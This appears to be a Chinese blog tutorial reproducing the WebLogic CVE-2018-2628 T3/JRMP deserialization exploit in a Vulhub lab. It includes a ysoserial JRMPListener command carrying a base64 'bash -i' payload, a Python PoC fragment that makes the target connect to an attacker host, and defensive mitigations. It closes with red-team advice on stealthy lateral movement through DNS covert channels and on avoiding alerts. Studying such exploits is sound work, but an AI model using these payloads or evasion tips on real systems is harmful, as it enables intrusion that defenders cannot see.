CVE-2018-2628 漏洞复现:3步绕过T3协议黑名单,实现RCE(附PoC)
CVE-2018-2628漏洞深度剖析T3协议黑名单绕过的艺术与实战漏洞背景与核心原理2018年曝光的CVE-2018-2628漏洞震撼了整个Java安全领域它暴露了WebLogic服务器在T3协议处理上的致命缺陷。这个漏洞的本质在于黑名单机制的失效——攻击者能够通过精心构造的JRMP协议数据包绕过WebLogic对恶意序列化对象的过滤最终实现远程代码执行。理解这个漏洞需要把握三个关键点T3协议的桥梁作用作为WebLogic私有协议T3承载了RMI通信而RMI的传输完全基于Java序列化机制黑名单的局限性WebLogic试图通过类名过滤来阻断危险的反序列化操作但未能覆盖所有可能的攻击向量JRMP协议的利用攻击者通过建立恶意的JRMP服务端诱导WebLogic服务器主动连接并执行预设命令环境搭建与漏洞验证靶场环境配置使用Vulhub可以快速搭建漏洞复现环境# 拉取漏洞环境镜像 docker-compose up -d # 验证服务状态 docker ps | grep weblogic关键配置参数组件默认值说明WebLogic版本10.3.6.0受影响版本之一服务端口7001T3协议默认端口管理控制台/console漏洞存在与否的初步判断依据漏洞检测方法推荐使用多线程检测工具提高效率# 示例检测命令 python2 CVE-2018-2628-MultiThreading.py -f target_list.txt检测结果解读Vulnerable存在漏洞可进一步利用Not vulnerable可能已打补丁或版本不受影响Connection refusedT3服务未开启攻击链深度解析黑名单绕过技术细节WebLogic的黑名单机制主要针对以下类进行过滤* org.apache.commons.collections.functors * com.sun.org.apache.xalan.internal.xsltc.trax但攻击者通过JRMPClient实现绕过的关键在于二次反序列化初始payload只包含JRMP连接信息动态类加载通过RMI连接从攻击者控制的服务器获取实际执行代码协议转换T3到JRMP的协议转换过程中丢失了安全检查完整攻击流程图解攻击者主机 WebLogic服务器 | | | 1.启动JRMP监听服务 | |------------------------------ | | | 2.发送JRMPClient payload | |------------------------------| | | 3.反序列化payload | | 4.连接攻击者JRMP服务 |------------------------------| | | | 5.发送恶意序列化对象 | |------------------------------| | | 6.执行远程代码实战利用与PoC分析JRMP服务端配置使用ysoserial工具启动监听java -cp ysoserial.jar ysoserial.exploit.JRMPListener \ 1099 CommonsCollections1 bash -c {echo,base64编码的命令}|{base64,-d}|{bash,-i}关键参数说明1099JRMP默认端口可自定义CommonsCollections1利用链选择根据目标JDK版本调整base64编码避免特殊字符传输问题攻击脚本核心逻辑以Python PoC为例主要完成以下操作建立T3协议握手连接发送恶意的序列化对象触发服务器连接JRMP服务端# 关键代码片段 def build_exploit_payload(jrmp_host, jrmp_port): payload generate_jrmp_client(jrmp_host, jrmp_port) t3_header t3 10.3.6\nAS:255\nHL:19\n\n return t3_header payload防御策略与修复建议临时缓解措施T3协议访问控制!-- weblogic.xml配置示例 -- security-configuration enforce-valid-t3-protocoltrue/enforce-valid-t3-protocol /security-configuration网络层防护防火墙限制7001端口访问使用网络设备过滤异常T3请求长期解决方案修复方式操作步骤影响评估官方补丁下载April 2018 Critical Patch Update需停机维护版本升级迁移至12.2.1.3.0及以上版本兼容性测试必要架构调整禁用不必要的RMI服务可能影响分布式功能漏洞研究进阶方向新型利用链开发探索除CommonsCollections外的其他gadget链协议模糊测试对T3协议实现进行深度测试机器学习检测构建异常序列化流量识别模型运行时防护基于Java Agent的实时反序列化监控在实际渗透测试中这个漏洞往往能成为突破内网的利器。笔者曾在一次红队行动中通过该漏洞成功横向移动至核心业务区。关键是要注意流量隐蔽性建议配合DNS隐蔽通道使用同时要合理控制执行命令的权限避免触发安全警报。
